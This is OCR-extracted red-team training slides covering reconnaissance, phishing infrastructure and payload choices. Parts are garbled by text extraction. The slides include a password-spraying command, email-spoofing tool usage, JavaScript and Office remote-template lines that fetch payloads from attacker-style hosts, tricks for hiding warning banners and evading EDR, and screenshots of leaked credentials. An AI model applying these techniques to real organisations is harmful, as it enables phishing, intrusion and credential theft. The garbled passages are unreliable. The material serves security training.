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Syllabus

2 daystraining, coveringboth offensive anddefensiveaspects.

The trainingsdividedin 5 modules:
Alnitial foothold

AGainingAccess

APayloadcrafting

Alnternal Reconnaissance
ALateralMovement

e M7,



Information for thelab

Everythings hostedon the https://mr.un1k0d3r.online/ domain

The training portais locatedat https://mr.un1k0d3r.online/training/



Whatisaredteam

Al 3aS3aSa e2dzNJ Of ASyiQa NBaLkRyaai
AEvaluates their security posture by achieving-gedined goals
(access CEO emalls, access customer data, etc.)
ASBSYZ2YAaAUN)0Sa LROGSYOGAlt LI GKa dza:
assets

Is not about exploiting as many-@ays as possible
Is not about exploiting as many systems as possible
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Module 1:
Initial Foothold




Initial Foothold

DNS Enumeration

During a red team some of your target may be 3rd party applications
that are not managed by your target (ex: payroll using a 3rd party). It is
Important to fingerprint the ownership of these applications prior to

the red team



Initial Foothold

DNS Enumeration

Starting point:

ADNS reconnaissancetips://github.com/blark/aiodnsbrute
fast and easy to use)

AOnce the target primary domain is identifigeerforming a
DNS subdomain brute may reveal interesting targets

(e}

your



https://github.com/blark/aiodnsbrute

Initial Foothold

DNSEnumerationnote

AMisconfiguredDNSmayleakinternal IPaddressesind servers of
Interestin their public records

AYoumayalsoleakyour |IPaddress

AWhile performinga red team, makesurethat you performyour DNS
gueryon a systenthat is not ownedby you, sincerecursiveDNS
qguerywill leakthe source
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Initial Foothold

CertificateEnumeration

Certificatemayhave multiplesubjectsleakingextra DNSincluding
stagingenvironment

Subject Alt Names
DNS Name ringzerQctf.com

DNS Name ringzerOteam.com

Public Key Info
Algorithm ESA

Key Size 4096
Exponent 65537
Modulus 99:66:6B:7F:DADCYS:DEDAS2:ECBRFT.FCABAT:E3:CA14:3B:9B:A0:B2:33:B9:AD:090:6B:40:0CE1:D2:DD:OEET:1E2...

e M7,



Initial Foothold

SearchEngine

Searchengine can be usedto search
for domainandsubdomains

inurl:

Intext:
site:

MK,

inurl: staging site:google.com !, Q

2 Al [ Images @ News ¢ Shopping [ Videos | More Settings  Tools

About 97 results (0.36 seconds)

Together Learning - Powersearching - Google Sites

https://sites google com » view » togetherlearning » learn » digitalliteracy -
sitezdomainname.com -inurl:stage -inurl-dev -inurl:staging ... sites being indexed, but you don*
care about the staging site, this operator can help you exclude all ...

9 Reasons You Lose Traffic After a Website Migration & How ...
feedproxy.google.com > Articles » Search Engine Optimisation «

Jul 19, 2016 - site:[INSERT DOMAIN] inurl:staging. site:[INSERT DOMAIN] inurl:dev. site:]
INSERT DOMAIN] inurl:uat. How did you get on? Find many?

I'm not sure why my site is now showing up in search results ...
hitps://support.google .com » webmasters » forum

Your staging server is indexed. | would take steps to remove it - though might not attribute
anything major to the current indexed status. How many products have ..
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Initial Foothold

Github

Ahttps://github.com/dxa4481/truffleHoccan be used to harvest
Information withingithub

ATrufflehogSearches through git repositories for secrets, digging deep
Into commit history and branches

AThis is effective at finding secrets accidentally committed

e M7, »


https://github.com/dxa4481/truffleHog

Initial Foothold

EnumerationTool

nttps://github.com/OWASP/Amasds basically using all the method we
described to perform enumeration:

Alnformation Gathering Techniques Used:
A DNS
A Scraping
A Certificates
A APIs
A Web Archives

Can be installed from the repsudo snap install amass

e M7, :


https://github.com/OWASP/Amass

Initial Foothold

ASN may be useful too fond new subnets

root@@portal :~# amass intel -org google
0432
15169
172.217.8.8/19

34.03.226.8/24
66.249.86.8/23

Validate it against ARINtips://whois.arin.net/rest/asn/AS{id}

Search for IPs associated with ASN
https://raw.qgithubusercontent.com/nitefood/asn/master/asn

e M7,
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https://whois.arin.net/rest/asn/AS%7bid%7d
https://raw.githubusercontent.com/nitefood/asn/master/asn

Initial Foothold

nortal :~#

INING

n fou so disablin
analysis : itation lookups. Please v

for instructions on how to enable it.
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Initial Foothold

Validating that the IP range is owned by the target (using ARIN or
automated scriphtips://github.com/Mr-Unl1k0d3r/SearchlPOwnker

Your target may own more than one subnet, so make sure that you

perform the exercise every time you discover a new |IP and repeat for
each domain that is own by them

Example: mr.unlk0d3r.online and ringzerOteam.com are owned by the
same entity

e M7, :


https://github.com/Mr-Un1k0d3r/SearchIPOwner

Exercise
Enumerate subdomain
for mr.unlkOd3r.online




Initial Foothold

Subnets reconnaissance using shodan.io

&% SHODAN

net:10.10.10.10/20 Q

266

United States

HTTP5
HTTP
SMTP

DN 5

CenturyLink
Trustwawe Holdings

Linux 3.x
Linux 2.6.x
HP-UX 11.x

Windows T or 8

Apache hitpd
Microsoft 115 hitpd
ngin:

Open55H

Microsoft HTTPAPI hitpd

266

115

10
10

154
112

== R 3

21
12
11
11
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Initial Foothold

Validating certificate in the range may reveal new domains that can be
used for enumeration

Subject Name
Country

State/Province
Locality
Organization

Common Name

When targeting a company that performed several acquisitions,

us
California
Menlo Park

Facebook, Inc.

* facebook.com

Subject Alt Mames

DMNS Mame
DMS Mame
DMS Mame
DMNS Mame
DMNS Mame
DMS Mame
DMNS Mame
DMNS Mame
DMS Mame
DMS Mame
DMNS Mame

sure that each acquired company Is in scope

e M7,

* facebook.com

* facebook net

* fhodnonet

* foebecoom

* mfacebook com
* MMEssEnger.com
* o fbodnonet

* oy fecdnunet

*yz fhodnunet
facebook.com

MEssEnger.oom

make
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Initial Foothold

Shodan may reveal interesting service exposed
.201.47

WxB4Host Y 119.126.38.59Y" 15 not allowed to connect to this MySOL server

#E United States,

Version fingerprint is also useful to identify potentially vulnerable

Linux 3.x
Linux 2.6.%
HP-UX 11.x

WWindowes Tars

e M7,
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Initial Foothold

Censys.lo also anoth&hodanlike service but it Is a bit more expensive

You can geshodanfor about 5% when they do their discount



Initial Foothold

Shodan may reveal other portals that can be used to access the internal
network:

A Citrix portals

AOWA

AVPN

AF5 console

AFortinet

ACisco

AX

Always hunt for the latest puicly available exploit

e M7,



Initial Foothold

Scanninghe externalsubnetfor mostcommonport maybe usefultoo.

Sincethe whole Internet Is scannedseveraltimes a day, a light NMAP
shouldremainundetected

Make sureyou are usingthe proxy systemthat waspreviouslysetup in
the cloud not to exposeyour O 2 Y LJI I¥? an@ geveal that you are
performinga RedTeam

nmap - Pn -sT -vvww -0A scan 10.10.10.10/22 - p22,80,443,8080,8443
|| |

No ping - - Full TCP connect - List of common web port

e M7,



Initial Foothold

proxychaingo tunnel your scan®¥ou need to usa full TCP connect
scan

proxychains ZsT A

52y Q0 F2NHASUO [|uéribfrioxycha@nd3doxyresplv A y Y

DNS SERVER

8

" usage:”
proxyresoly <hostname> "

e M7,



Initial Foothold

Quick web enumeration. Instead of manually browsing each web
application, the NMAP output can be used to perform web capture
using aquatonelfttps://github.com/michenriksen/aquatonpe

e@training:~/Desktop$ cat scan.xml | ./aquatone -nmap -out capture |calculating page structures... done
aquatone v1.7.0 started at 2019-11-11T707:39:43-08:00 Clustering similar pages... done
Generating HTML report... done

: 193
- 2 Writing session file...Time:
- Started at : 2019-11-11T87:39:43-08:00
- Finished at : 2019-11-11T07:44:10-08:00

- Duration : 4m27s

: 80, 443, 8000, 8080, 8443
Output dir : capture

Requests:
- Successful : 37
- Failed : 156

Screenshots:
- Successful :

- Failed I -
l NI'I w @—_ ?Q Wrote HTML report to: capturefaquatone_report.html


https://github.com/michenriksen/aquatone

Initial Foothold

Bothamassand nmapresultscanbe usedto feedaquatone

cat nmap.xml | ./ aquatone Znmap
cat output | ./ aguatone

Sadlyaguatoneis not reallymaintainedanymore

e M7,
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Initial Foothold

httpsJ/mozilla.com/

@ e

Internet for people, not profit

— Mozilla
€rd €D
Google Tag Manager

Visit Page ]

View Details

http//mozilla.conV

Internet for people, not profit
— Mozilla

CID GO CIED

View Details ’ Visit pLﬂ‘_]'.‘
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Initial Foothold

Response Headers:

Header Value

X-Xss-Protection 1; mode=block

Date Mon, 11 Nov 2819 15:42:54 GMT
Server Apache

Etag "1321-5058ale728280"
Accept-Ranges bytes

X-Content-Type-Options nosniff

Content-Type text/html; charset=UTF-8
Retry-Count @

Strict-Transport-Security max-age=86400;

Last-Modified Thu, 16 Oct 2814 13:28:58 GMT
Content-Length 4897

X-Frame-Options SAMEORIGIN

View Raw Headers View Raw Response

MK,



Exercise

Run aguatone against the
discovered IPs



Initial Foothold

From there, you may be able to quickly identify interesting portals and
potential framework / application / services that can be exploited to

gain access

Keep in mind that one of the predefined goals can include accessing
one of the exposed portals. Once credentials are obtained, try to
connect to the service from the external network

Services that rely on active directory for authentication can be used to
perform password spraying

e M7,



Initial Foothold

Quick wins when it comes to reconnaissance:

ALync and Office can be used to leak the internal domain name and may
expose authentication endpoint

AExposed OWA can be used to access email through the EWS endpoint, even ii
MFA is enforced

ASend internal phishing with compromised credentials via EWS

Anhttps://aithub.com/rvrsh3ll/MiscPowersheH
Scripts/blob/b834ca28c5a8d392bd14e8e4e380d42c4a8fc318/Send
EWSEmail.psl

AEWS endpoint is usually located latps://your.target/EWS/Exchange.asmx
ATry to enumerate active directory through their exposed portal

e M7, .



https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/b834ca28c5a8d392bd14e8e4e380d42c4a8fc318/Send-EWSEmail.ps1
https://your.target/EWS/Exchange.asmx

Initial Foothold

Harvesting credentials and users
Query exposed data breach for email matching your target

Hunt code repositories online:
A Check commit message for guidance:

ACommit #13d8bd21a removing AWS key: you can check the commit and
NEONRSOS (KS 1Sé SOUSyid AT UKS 0 NI\

US-CBP/GTAS e  9adedad ¢

Removed password ..

originalname51 cormmmitted on 5ep 20

e M7,



Initial Foothold

Removed password Browse files

Removed password

P master (£1418) T v1.90 .. 1.8.1

Eﬁa originalname51 committed on Sep 20 verified 1 parent 1eB4558 commit Sad@fadfdfiddfboeladaf3seatedlilcheact2c
S5howing 1 changed file with 2 additions and 2 deletions. Unified | Split

L-‘-. LL L.

w 4 HEEE BNV Ee

b3 E4 -2,5 +2,5 @@ LOCAL_DRIVE_MAPPING_INPUT=./_ data/gtas_in

=)
[r=F]

LOCAL_DRIVE_MAPPING_OUTPUT=./__data/gtas_out
COMPOSE_PROJECT_NAME=es
CERTS_DIR=/usr/share/elasticsearch/config/certificates

- ELASTIC_PASSWORD=Pa%fwordl

- ES5_PWD=Pa%%wordl g

+ ELASTIC_PASSWORD=

+ ES_PWD=



Initial Foothold

removed aws key

Pull requests

Issues Marketplace

Explore

Repositories
Code
Commits
lssues
Packages
Marketplace

Topics

. --00080

6,447 commit results

mailtonskiran/Scenario?2

Update variables.tf

mailtonskiran committed 26 days ago

seamless-iot/GRAQ
removed aws keys

mark-seamlessiot committed on &ug 29

34



nitial Foothold

removed aws keys Browse files

removed aws keys

F master
F; mark-seamlessiot committed on Aug 29 Verified 1 parent 21c3ce7 commit lcddbaa?3cSfhddfdabchaSari@cidiBal8childas
Showing 1 changed file with 2 additions and 2 deletions. Unified | Split

v 4 EEEE" fresh_air/data_manage/map_info.py [Eo ren

b3 F4 @@ -17,8 +17,8 @@ def default(self, o):

class graphDatatetter{object):
def __init_ (self):
= self. ACCESS_KEY = 'AKIATJISSNBMMNXIBAXZMA'
= self.SECRET_KEY 'OF2C7 ZEtbY+pPB8S eMPXCHOhz1 c87HFF1rSRSUMAZY
- self.ACCESS_KEY v
- self.SECRET_KEY v

self.dynamodb = boto3.resource('dynamodb’,

y_id=self.ACCESS_KEY,

b3 £



Initial Foothold

Like GooglsearchGithubsupport keyword taefine your search

O org:Mr-Un1k0d3r password

36



Initial Foothold

Githubwascool and all, buthey madeit evencoolerwith the
cs.github.conmsearch

It IS Features Actions Packages Security Codespaces Copilot Codereview Sedarch Issues Discussions




Initial Foothold

GoodolQ D223ftS R2NJAaYy
Aintext
Ainurl
Aintitle
Asite

Afiletype
AX

https://www.exploit-db.com/googlehackingdatabase

MK,
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https://www.exploit-db.com/google-hacking-database

Initial Foothold

Site such as linkedin.com may give you a list of employees

Metadata in exposed document may reveal the internal username structure:
site:ringzerOteam.confiletype:pdf

site-ringzerOteam.com filetype pdf X

oA ] Images E) News ) Shopping ) Maps ! More Settings

1 result (0.23 seconds)

https:/fringzer0team.com » A-Journey-Into-a-Red... ~ FOF

A Journey Into a Red Team - RingZer0 Team Online CTF

Ox1: Assess your client's responsiveness against threat actors. - Ox2: Evaluate their security
posture by achieving pre-defined goals (access CEO emails, access
You've visited this page many times. Last visit: 06/04/21

[ AY]l] YIeé 0S R246Yy I wgbdcimachineS(archi@elong}oRGoagk cadiie A y 3

e M7, 5



Initial Foothold

https://ringzerOteam.com » A-Journey-Into-a-Red. . * FDF

A Journey Into a Red Team - RingZe Cached  Online CTF

0x1: Assess your client's responsiveness against threat actors. - 0x2: Evaluate their security
posture by achieving pre-defined goals (access CEO emails, access ...

You've visited this page many times. Last visit: 06/04/21

INTERNET ARCHIVE Explore more than 552 billion web pages saved over time

m“““““"mﬂﬂnlng ringzerOteam com
- Collections - Changes - Summary

Site Map

Saved 175 times between October 11, 2012 and March 31, 2021.

i ._.J.LL].J..ML.LLUJ .

01 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

MK,

2014

2015

Results: 50 100 500

2016 2017

2018

2019

2020

>
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Initial Foothold

Cachedexample

O & https://'www.okeps.org/Errors/AccessDenied.aspx

Sorry, the page is inactive or
protected.

Make sure that you are signed in or have rights to this area. You can also contact the site
administrator if you don't have an account or have any questions.

Site Administrator
OKCPS Webmaster, webmaster@okcps.org

Back to Previous Page Visit Website Homepage

41



Initial Foothold

Cachedkexample

<« c © & hip

This Ils e HTLL version of e flle e www okcps orgushefandkersTiedownload asiumoduleinstanceld=1044538datald=1 30405  lleName=300glke e 20Mests S For e SpringtediFarent-Teacher e 20Conerences docx. Zoogle auiomatically generates HTML verskons of documents s we Crawl e wel

w.okeps.org/site/handlers/filedownload.ashx

fwebcache.googleusercontent.com/search?q=cache:f\Va Nmn0J:http

Ciri+F or ®-F

Spring Parent-Teacher Conferences

Click the link next to the teacher's name at your conference time!

Mrs. Dukes Prak
Ms. Holloway Prek
Mrs. Davis Kindergarten
Mrs. Gomez Kindergarten
Ms. Pemy Kindergarten
Mrs. Honious 1st Grade
Mrs. Gallegos 1st Grade
Mrs. McBride 1st Grade
Mrs. Franco 2nd Grade
Ms. Ochos 2nd Grade et google comEN-lns-a3s
Mrs. Ogbogu 2Znd Grade (hips/meet sposle coming-agay-ojh
Mrs. Dudley Jrd Grade  |mmpsvmest google comin- niTSUTEEr=0
Ms. Mckenzie 2rd Grade |hops!meetspoele comiglon-idez-xddh
Mrs. Penate Jrd Grade gle comm-nmar-keg
Mrs. Murfin 2rd Grade SOMMMING-KENHGOS
Mrs. Childers 4th Grade
Ms. Neal {Flinn}) 4th Grade ogle.comivs-anin-Jon
Ms. Martinez 4th Grade |o@ 24 google comfljs-issh-akd
Mr. Wan der Linden 4th Grade  |hips:\imeet sposle comom-zask-riv
Ms. Lawson E32 omign-jot-Jal
Mrs. Palmer E3 mesi google comido-dug-mz
Please use the link Ms. Cole sent to each
family! Contact Ms. Cole if you have any
Ms. Cole E2 issues.
Ms. Fowler Spec. Ed. mest Googie comAgH
Blessington/Mucciaccic|PE
Mr. Hogan Music
Ms. Stevens At
Ms. Dukes ELD
Ms. Koomson ELD
Ms. Manley ELD
Ms. Clinton Library




Exercise
Search for
Interesting data




Initial Foothold

Some documents may have the Active Directory format as the author

Once the format Is identified, you can generate a list of potential users
based on the information collected dmkedin github commit name,
facebook facebookcorporate group, document metadata, corporate

website and more

FOCA can be used to automate the process:
https://github.com/ElevenPaths/FOCA

e M7, s


https://github.com/ElevenPaths/FOCA

Initial Foothold

Hiring platforms are also useful to fingerprint the security technology
used by your target Main Responsabilities

— Plan EDR agent deployment on servers;

. ibilit

— Coordinate EDR agents deployment with respective teams;

The candidate will be involved on customer facing projects to support the — Optimize the existing policies;

requirements gathering, design, deployment, configuration, integration and — Assist the supplier on performing an health check of the solution in place;

[tuning of security appliances and software such as Cisco ASA-CSM-FTD / Palo | — Assist business analyst on defining operational processes.

Alto Firewalls & Panorama / Falo Alto Cloud Traps / Juniper SRX Firewalls /
Cisco ISE / Cizeo IronPort ESA-WSA / Check Point. Required

. L . University degree in computer science or related technical field combined
Excellent verbal and written communication skills . . o . .
with a minimum of 5 years experience in a role operating and supporting an

enterprise managed desktop environment.

Experience of deploying and/or administering security related technologies: >+ years experience with Windows Client and Server operating systems, linux

. . experience a plus;
Tenable, Qualys, OSSIM/OSSEC, CrowdStrike, McAfee, Logrhythm, FortiNet,

Experience with Endpoint Protection Platform solutions in a large

5p|unk. environment (Anti-Malware and EDR such as Symantec AV, Windows

Defender, CrowdStrike, Carbon Black, Tanium);

PowerShell experience;

e M7, .



Exercise
Search for interesting
Job description




Initial Foothold

Phishing
At this point, you either find an exposed vulnerability and you now
have access to their network, or you need to find a way to get in

So far, we have gathered:
AList of users
APasswords
AlList of assets
AThe security product they use

e M7,



Initial Foothold

Phishing
Time to see If we can gain access to their employee emails through a
password spraying attack

This tool provides enough flexibility to target OWA, Office365 or an endpoint that supports

negotiate authentication (NTLM)

$ python password-spray.py
PasswordSpraying v1.0

Usage: %s [user list] [domain] [url] [password]

e M7,

python password-spray.py users.txt RINGZER® https://lyncweb.ringzereteam.com/abs/ Training!!!!


https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/password-spray.py

Initial Foothold

You client is using the cloud: Graph is what you are looking for

https://developer.microsoft.com/erus/graph/graphexplorer

49


https://developer.microsoft.com/en-us/graph/graph-explorer

Initial Foothold

https://login.microsoftonline.com/common/v2.0/

> OneDrive (5) > Batching (2)
htt S . ra m I C rOS O CO m V > OneNote (6) > Compliance (beta) (6)
ps://graph. ft. /v1.0/
- - : > Outlook Calendar (7) > Excel (7)
?>  Outlook Mail (10) > Extensions (7)
> Outlook Mail (beta) (1) > Groups (14)
> People (2) > Identity and Access (14)
> Personal Contacts (2) > Insights (4)
> Planner (13) »  Microsoft Teams (9)
7 Search (13) > Microsoft Teams (beta) (4)
> Security (23) > Microsoft To Do (4)
> SharePoint Lists (5) > Motifications (beta) (2)

50


https://login.microsoftonline.com/common/v2.0/
https://graph.microsoft.com/v1.0/

Initial Foothold

Behindthe curtain, Graphs usinga bunchof standard web APIs

https://graph.microsoft.com/v1l.0/me/messages

Azure ADs alsoanotherexposedAPIshat canbe usedto gather
remote information. More onthis later.

e M7,
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https://graph.microsoft.com/v1.0/me/messages

Initial Foothold

Phishingcontext and pretext matters

Pretextis a false, contrivedyr assumed purposer reason; a pretense
and Contextis the surroundings, circumstances, environment,
backgroundor settings that determine, specifgy clarify the meaning
of an eventor other occurrence

e M7,



Initial Foothold

Searchindor context google etc..

site:google.com intext.award

2 Al L] Images [&] News [|»] Videos ) Shopping : More Settin

About 39,700,000 results (0.71 seconds)

https:/fnews.google.com » rss » articles

Schitt's Creek: Award Acceptance Speech | 27th Annual SAG ...

2 days ago — Schitt's Creek takes home the Actor® for Qutstanding Performance by an
Ensemble in a Comedy Series #TNT #SAGAwards __.
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Initial Foothold

Your targets have SPF enabled, they must be protected against
spoofing, right?

Well short answer is no. They need to enforce DMARC and DKIM to
completely prevent spoofing

DMARC (DomaiBased Message Authentication, Reporting and Conformance) is an emalil
authentication protocol. It is designed to give email domain owners the ability to protect
their domain from unauthorized use, commonly known as email spoofing

DomainKeys ldentified Mail (DKIM) is a protocol that allows an organization to take
responsibility for transmitting a message in a way that can be verified by mailbox providers.
This verification is made possible through cryptographic authentication

e M7,



Initial Foothold

Try It yourselfhttps://github.com/Mr-Unl1k0d3r/SPFAbuse

LT &2dzNJ G NHSUO R2SayQi SyTF2NDS

python SPFAbuseSMTP.py <KP¥> ceo@target.com
victim@target.com "SPF are not enough" email.txt

You need &endgridkey which is free to register limited to 10000
emails

e M7, s


https://github.com/Mr-Un1k0d3r/SPFAbuse

Exercise

Try to send an email to
your corporate email X
dza Ay 3 UKS LINB
emall




Initial Foothold

You can abuse®party SPF trust

T 10

Remember range discovery? SPF may give you more
Also, in this case, they trust salesforce.com and zixworks.com:

ACan you send an email through a salesforce API?
AHere is a new context can be abused

e M7,



Initial Foothold

¢CKS al NJSUOAY3
the DMARC + DKIM + SPF

“ootigportal i ~# HS als
Server:
Address:

que
ddre__:

ip4:167.89.0.0/17



Initial Foothold

Due to the way that most marketing email solutions work, companies must allow
the marketing solution in their SPF

You register an account on the same marketing solution and you send an email
within the same IP range

LOQa y20 | o6da AdaQa | 7F

No need to tell you that this will increase the credibility of your phishing campaign,
since you can pretend to be from the targeted company

Phishing is all about trust
e ROV (<



Exercise
Analyze DNS TXT Record




Initial Foothold

https://mxtoolbox.com

SuperTool Beta?

‘ ringzerOteam.com

txt:ringzerOteam.com [ aiGRG0E S

-

ype

X8| 5|5

Domain Name

ringzer(team.com
ringzer(team_com
ringzerlteam.com

ringzer(team_com

| TXT Lookup -

TTL

G0 min

G0 min

B0 min

G0 min

Record

FLAG-30519RR202ZHG685CaYBLUT Txyg

HETCORGFT&2E83974 .onmicrosoft.com
d7iugdmd] EvirvbJEAYgrAaHpFoenLZuX2x0vgjmeeMhM

v=spfl include:spf.protection.outlook.com —-all
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Initial Foothold

dig command

~oot@portal:~# dig ringzer8team.com -t txt

<<»>» DiG 9.16.1-Ubuntu <<»>> ringzer@team.com -
; global options: +cmd

Got answer:

-»>»HEADER<<- opcode: QUERY, status: NOERROR, id: 8421

flags: gr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: &, ADDITIONAL: 1

:: OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 65494
;3 QUESTION SECTION:

;ringzer@team. com. IN

;» ANSWER SECTION:
~ingzer@team.com.
~ingzer@team.com.
“ingzer@team.com.
~ingzer@team.com.

‘'v=spfl include:spf.protection.cutlook.com -all”
"FLAG-3B8519RR282HGE95t6YBZUT7xyq"

"d7Aug4mA’ “yvbIKdYqrAHpFenLZuX2x8vg jmoeMhM™
"NETORGFT6283974.onmicrosoft.com"”

[ N |
5] )
[ I R v I v
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nslookup command

ﬂ«l okup -type=TXT ringzergteam.com
drs.gnngle

Non-authoritative answer:
ringzerdgteam.com text =

"d7AugdmAl8vZrybIKdYqraAHpFonLZuX2xévg jmeeMhM"
ringzer@team.com text =

=spfl include:spf.protection.outlook.com -all”

ringzer@team.com text

"NETORGFT6283974 .onmicr
ringzerdgteam.com

"FLAG-30519RR:
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External assets can be tested using various tools:

Attack Lync:
Ahttps://github.com/nyxgeek/lyncsmash

Attack Office365:
Ahttps://aithub.com/mdsecactivebreach/o36attacktoolkit

MK,
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Now that we have everything in place to send our phishing, create the phishing
email and website

If you can use one of the target systems to host your payload, do it!

LT e2dz OFyQiaX YIF1S adz2NB GKF G @&2dzNJ LKA
Al f2yS tSIAUGAYFIOS 6So0aAriasS @radz € G2
A Obfuscate your payload

A Avoid typo squatting useBparty cloud service approach:
ringzer0.payrollapp.com vs ringzer0.com

A Use categorized domain
A Domain age and certificate matter
A52y Q0 a02NB UKS LI ef2FR Ay OK

e M7,
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[ £2yS tSIAUAYIFUS 6S0aAluS OAadz

The first impression your victim will get will come from the look of the
website

& Oracle Corporation (US) W java.com/en /i

Download  Help

— T WEBSITE DOWNLOADER

Ifyou want to download
Java for another computer Download Java for your desktop computer now!
or Operating System, click Version 8 Update 231

EEh ok Release date Oclober 15, 2019
All Java Downloads

T e & Important Oracle Java License Update

Why am | always redirected . . )
The Oracle Java License has changed for releases starting April 16, 2019.

to this page when visiting a

page with a Java app? The new Qracle Network License for Oracle Java SE is

» Learn more different from prior Oracle Java licenses. The new license permits certain uses, such as

» Report an issue personal use and development use, at no cost — but other uses authorized under prior Oracle
Java licenses may na longer be available. Please review the terms carefully before ™
downloading and using this product. An FAQ is available here I'm not a robot

reCAPTCHA

Commercial license and support is available with a low cost Java SE Subscription Frivacy - Terms
Oracle also provides the |atest OpenJDK release under the open source GPL License at
igsinand DOWNLOAD NOW

About this tool
» Whatis Java? » Dol have Java? » Meed Help? This tool is to download or copy websites that are currently online.

The free version has a limit of 10MB. If you want to scrape historic
websites, then use our other tool to download website from the
Why download Java? Wayback Machine

Java technology allows you to work and play in a secure computing environment. Upgrading to the latest

Java version improves the security of your system, as oldar versions do notinclude the latest security

updates 66
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Obfuscate your payload

Assume that automated product will crawl your website. Hide the link to your final
payload:

Simple Apachenod_rewriterule 2 I SY SNIF 0S GO2NLIZ2 NI G§S€ | w]
RewriteEngine On
RewriteCond %{REQUEST_ FILENAME} Z

RewriteCond %{REQUEST_FILENAME}Zd
RewriteRule ~(.*)$ index.php [L,QSA]

https://phishy.domain/company/code/a2ef36245d0-b21d-5abfedce29d365ch/

will actually call
https://phishy.domain/company/index.php

e M7, .
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Obfuscate your payload
aS WG {ONRARLI (2 3IASYSNIGS @2dzNJ LI &t 2
[ SG§Qa | aadzyS KS |1 ¢a[] 2y (KS LKAAKAY3

<a href ="https://phishy.domain/payload.docm">download the code of conduct</a>

Automated security tools can easily process the HTML and pull the payload to
perform further analysis

e M7,
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Obfuscate your payload

<a id="download" href ="#">
download the code of conduct</a>

<script>

document.getElementByld ("download").onclick = function() {
document.location = "https://phish" + " y.domain /pay" + "load";

}

document.getElementByld ("download").click();

</script>

e M7,
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Email Trick

The big warning box case

This email was received from an external sender. Please use caution when clicking links or opening attachments.

Usually, your phishing is coming from an external domain, and it loads
3dzOK gF NYAYy3I Ay &2dzNJ SYIFIAfT D [ |y

e M7,
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Email Trick
CSS is the key here

Send your phishing email in HTML format and add the following piece
of code:

<style>body { display: none } .phish { display: block !important }</style>
<div class="phish">Your Phishing email content goes here</div>

e M7,
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Email Trick

This can be easily tested locally using pywin32 on Windows and Outlook

import win32com.client as win32

outlook = win32.Dispatch(’ outlook.application ).

mail = outlook.Createltem (0)

mail.To = mr.unlkOd3r@gmail.com'

mail.Subject " PpPOEEOEEIT C OAOOXK

mail.HTMLBody =""

<style>body { display: none } .phish { display: block !important }</style>
<div class="phish">Your Phishing email content goes here</div>

mail.Send ()

e M7,
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Avoid typo squatting

If an employee notices the phishing attempt and identifies the typo squatting
without a doubt,he will report. However, if the original domain looks legitimate,

the chance that the URL will be trusted increases

A ringzer0.payrollservice.com ringzer0.payrollservice.com
A ringzer0.com ringzer0.com
A r‘mgzerO.com ringzer0.com

Thanks to browser URL font for making the typo a bit harder to see

e M7,
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Use categorized domain

Assume that the targeted organization has a proxy in place internally. The proxy
may only allow trusted category:

A You can purchase already categorized domain that expired

A You can purchase your own domain and categorize it yourself

Thereare so many new domains that are registered that nowadays most proxies
will let uncategorized domains through to avoid having several support tickets

But always assume the worst, assume your client has tight filtering (reconnaissance
may have revealed some information)

e M7,
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Domain age matter
Proxy may prevent newly registered domain

Access denied

We're sorry, you can't access the content at this address.

See our Technology, Social Media and Intellectual Property Policy for
more information.

URL requested; mr.un1k0d3r.com/portal

Category: newly-registered-domain

MK,
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Domain age and certificate matter
Even if you are not working a red team, you should register domains occasionally to
let them age before they will be used:

A Security solution may flag your email as suspicious due to a newly created
domain

ACorporate solutiod F2NJ y2¢0 Yl & Fil 3 ftSiQa Sy
since most of the major brands did not adopt it
AUse commercial solution to get a certificate

AFor now, you can still use HTTP only website avoiding to deal with certificate
(Browsers are planning to flag néfilf TPS site soon)

e M7,
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Domain age and certificate matter

Quick note on DNS:

If you are planning to reuse the domain, make sure it was not burned during the
previous engagement:

ASearch for the domain name on public scanning platform sueirastotal

AWhen you setup youDNSfor your subdomain, instead of defining a specific
subdomain and leaking previous client, use wildcard *.yourdomain.com

e M7,
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52y Q0 aid2NB GKS LI eft2IFIR AY GKS S
Storing your payload on a website you control allows you to:
AKnow the source IP to detect potential automated tool
AKnow if there is an automated tool that crawled your payload (user agent, IP)
A Swapyour payload if there is a problem
ATrack users that interacted with your phishing

e M7,
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52y Q0 ai02NB &2dzNJ YIF ONB Ay @& 2dzNJ R

Office allow you to fetch remote template

oword » _rels
s
Mame
|| documentxml.rels
|| headerlxml.rels

|| settingsxcml.rels

“<?xml version="1.0" encoding="UTF-8"%>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rIdl" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate”

Target="https://mr.unlk0d3r.com/training/payload.docm” TargetMode="External" />

</Relationships>

Zip it back and you are good to go

e M7, 7
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Hi Bob,

We are currently updating our code of conduct policy. Please review and accept as
soon as possible.

We are using th€odeOfCondudtZForm technology to digitally sign the
document.

The code of conduct can be found here:

https://ringzerOteam.codeofconductupdate.com/trustwave/code/a2ef3628d0-
b21d5abtedce29d365ch/

Thank you,

e M7,
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Do not hesitate to duplicate the target signature format. Once again,
reconnaissance probably leaked some public email with the format

they are using

Try online forms and wait for an automatic reply



Exercise
Check domain
categorization
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Payload Options

Based on the reconnaissance, you may want to prioritize a certain type of payload over another one

EDR and Antivirus love to brag about their detection capability. Browse their website for more
Information and use a payload that does not use a technique they detect
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Macro VBA:

PROS:
A Easy to write
A Easy to obfuscate
A Pretty flexible canbe chained with other techniques to avoid detection
A No SmartScreen

e M7,
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Macro VBA:

CONS:
A Easy to block (Macro enabled document)
A{AYOS hFTFFAOS HnmMcZI YI ONRPAa | NB RAALI ¢
A Easy heuristics detection (WinWord.exe spawning cmd.exe). Use WinWord
to WMI to prevent that
A User interaction required to allow it to run

A
e M7,
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Macro VBA tricks:
Use WMI to spawn process to break the process chain

Use condition to execute code:
AGoodolQ R2YI AYy OKSOJ
A Delayed execution
A Use VBA as the first stage to download more payload

https://github.com/Mr-Unl1k0d3r/MaliciousMacroGenerator

e M7,
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HTA:

PROS:
A Easy to write
A Easy to obfuscate
A Pretty flexible: can be chained with other techniques to avoid detection
A No SmartScreen

e M7,
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HTA:

CONS:
A Well known technique, lot of detection effort has been made
A User interaction required to allow it to run
A Relatively easy to detect since mshta.exe is the parent process

e M7,
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HTA tricks:

Use simple HTA to dump other files that rely on Windows signed binary to bypass
application whitelisting

Use the engine to obfuscate your code

